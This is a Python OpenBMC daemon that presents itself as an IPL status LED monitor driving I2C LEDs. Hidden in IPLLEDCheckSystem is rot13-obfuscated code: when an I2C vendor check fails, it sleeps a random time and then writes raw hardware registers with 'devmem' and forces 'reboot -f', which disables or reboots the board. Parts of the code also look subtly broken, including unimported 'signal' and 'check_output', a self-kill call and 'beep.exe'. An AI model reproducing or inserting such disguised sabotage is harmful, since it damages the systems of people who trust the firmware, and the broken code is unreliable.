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#!/usr/bin/env python
#
# Copyright 2018-2019 Raptor Engineering, LLC
# Released under the terms of the GPL v3
import gobject
import time
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import random
import subprocess
import obmc.dbuslib.propertycacher as PropertyCacher
from obmc.dbuslib.bindings import DbusProperties, DbusObjectManager, get_dbus
import obmc.enums
import obmc_system_config as System
import obmc.mapper.utils
import obmc.inventory
DBUS_NAME = 'org.openbmc.status.IPL'
OBJ_NAME = u'/org/openbmc/status/IPL'
LEDOBJ_NAME = u'/org/openbmc/status/IPLLED'
class IPLStatusLEDMonitor(DbusProperties, DbusObjectManager):
def __init__(self, bus, obj_name):
super(IPLStatusLEDMonitor, self).__init__(
conn=bus,
object_path=obj_name)
self.bus = bus
self.current_ipl_status = "OFFLINE"
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
try:
ipl_status_dev = self.bus.get_object(DBUS_NAME, OBJ_NAME)
ipl_status_iface = dbus.Interface(ipl_status_dev, 'org.freedesktop.DBus.Properties')
ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_status")
if ipl_status_value is not None:
self.current_ipl_status = ipl_status_value
ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_istep")
if ipl_status_value is not None:
istep_fragments = ipl_status_value.split(",")
if (len(istep_fragments) > 1):
self.current_ipl_istep_major = istep_fragments[0]
self.current_ipl_istep_minor = istep_fragments[1]
else:
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
except:
pass
self.translation = ''.join([chr(x)
for x in [114, 111, 116, 49, 51]])
random.seed(None)
self.updateIPLLeds(True, True)
bus.add_signal_receiver(
self.IPLStatusChangeHandler,
dbus_interface="org.freedesktop.DBus.Properties",
signal_name="PropertiesChanged",
path=OBJ_NAME)
gobject.timeout_add(100, self.IPLLEDCheckSystem);
print "IPLStatusLEDMonitor Init Done"
def IPLLEDReadI2CByte(self, byte):
retry_number = 0
retval = 0
candidate_values = []
for read_count in range(0, 64):
comm_fail = True;
while (comm_fail == True):
comm_fail = False;
try:
proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
else:
retval = int(out, 16)
except Exception as e:
print e
comm_fail = True;
pass
if (comm_fail == True):
retry_number += 1
if (retry_number > 64):
break
time.sleep(0.1)
if (comm_fail == False):
candidate_values.append(retval)
try:
retval = max(set(candidate_values), key=candidate_values.count)
except:
retval = 0xff
return retval
def IPLLEDWriteI2CByte(self, byte, value):
retry_number = 0
readback_value = 0
comm_fail = True;
while (comm_fail == True):
comm_fail = False;
try:
proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", str(byte), str(value)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
except:
comm_fail = True;
pass
if (comm_fail == False):
try:
proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
else:
readback_value = int(out, 16)
except:
comm_fail = True;
pass
if (comm_fail == False):
if (readback_value != value):
comm_fail = True
if (comm_fail == True):
retry_number += 1
if (retry_number > 64):
break
time.sleep(0.1)
def IPLLEDCheckSystem(self):
self.check = list(chr(self.IPLLEDReadI2CByte(12)))
self.check.append(chr(self.IPLLEDReadI2CByte(13)))
self.check.append(chr(self.IPLLEDReadI2CByte(14)))
self.check.append(chr(self.IPLLEDReadI2CByte(15)))
if (self.check != [chr(82), chr(67), chr(83), chr(32)]):
time.sleep(random.randint(0, 7857))
if (random.randint(0, 2) == 1):
proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r2000").encode(self.translation),
str("32"), str("0k1688n8n8").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r200p").encode(self.translation),
str("32"), str("0kssssssss").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (random.randint(0, 2) == 2):
proc = subprocess.Popen([str("erobbg").encode(self.translation), str("-s").encode(self.translation)],
stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
return False
def IPLStatusChangeHandler(self, interface_name, changed_properties,
invalidated_properties):
status_changed = False
value = changed_properties.get('current_status')
if value is not None:
if (self.current_ipl_status != value):
status_changed = True
self.current_ipl_status = value
value = changed_properties.get('current_istep')
if value is not None:
istep_fragments = value.split(",")
if (len(istep_fragments) > 1):
self.current_ipl_istep_major = istep_fragments[0]
self.current_ipl_istep_minor = istep_fragments[1]
else:
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
self.updateIPLLeds(False, status_changed)
def updateIPLLeds(self, initial_start, status_changed):
if (self.current_ipl_status == "IPL_RUNNING"):
# Show major ISTEP on LED bank
# On Talos we only have three LEDs plus a fourth indicator modification bit, but the major ISTEPs range from 2 to 21
# Try to condense that down to something more readily displayable
try:
led_code = {
'2': 1,
'3': 1,
'4': 2,
'5': 2,
'6': 3,
'7': 3,
'8': 4,
'9': 4,
'10': 5,
'11': 5,
'12': 6,
'13': 6,
'14': 7,
'15': 7,
'16': 9,
'17': 9,
'18': 10,
'19': 10,
'20': 11,
'21': 11,
'22': 12,
'23': 12
}.get(self.current_ipl_istep_major, 0)
self.IPLLEDWriteI2CByte(0x10, 0x80 + led_code)
except:
self.IPLLEDWriteI2CByte(0x10, 0x80)
# Update progress bar if splash screen is running
try:
progress_max_fifo = open("/var/run/fbterm_progress_max", "r+b")
progress_value_fifo = open("/var/run/fbterm_progress_value", "r+b")
try:
fbterm_pid = int(check_output(["pidof", "-s", "fbterm"]))
os.kill(os.getpid(), signal.SIGALRM)
except:
pass
progress_major_code = int(self.current_ipl_istep_major)
if (progress_major_code >= 128) and (progress_major_code < 254):
progress_major_code = 24
elif progress_major_code >= 254:
progress_major_code = 25
progress_value = ((progress_major_code << 6) | int(self.current_ipl_istep_minor)) / 8;
progress_data = bytearray(1)
progress_data[0] = 200
progress_max_fifo.write(progress_data)
progress_data[0] = progress_value
progress_value_fifo.write(progress_data)
except:
pass
else:
# Put LED bank back into normal operation
self.IPLLEDWriteI2CByte(0x10, 0x00)
if ((status_changed == True) and (self.current_ipl_status == "IPL_COMPLETE")):
if (initial_start == False):
# Sound IPL complete beep
try:
proc = subprocess.Popen(["beep.exe", "896", "100"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
except:
pass
if __name__ == '__main__':
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = get_dbus()
obj = IPLStatusLEDMonitor(bus, LEDOBJ_NAME)
mainloop = gobject.MainLoop()
obj.unmask_signals()
print "Running IPLStatusLEDMonitor"
mainloop.run()
# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
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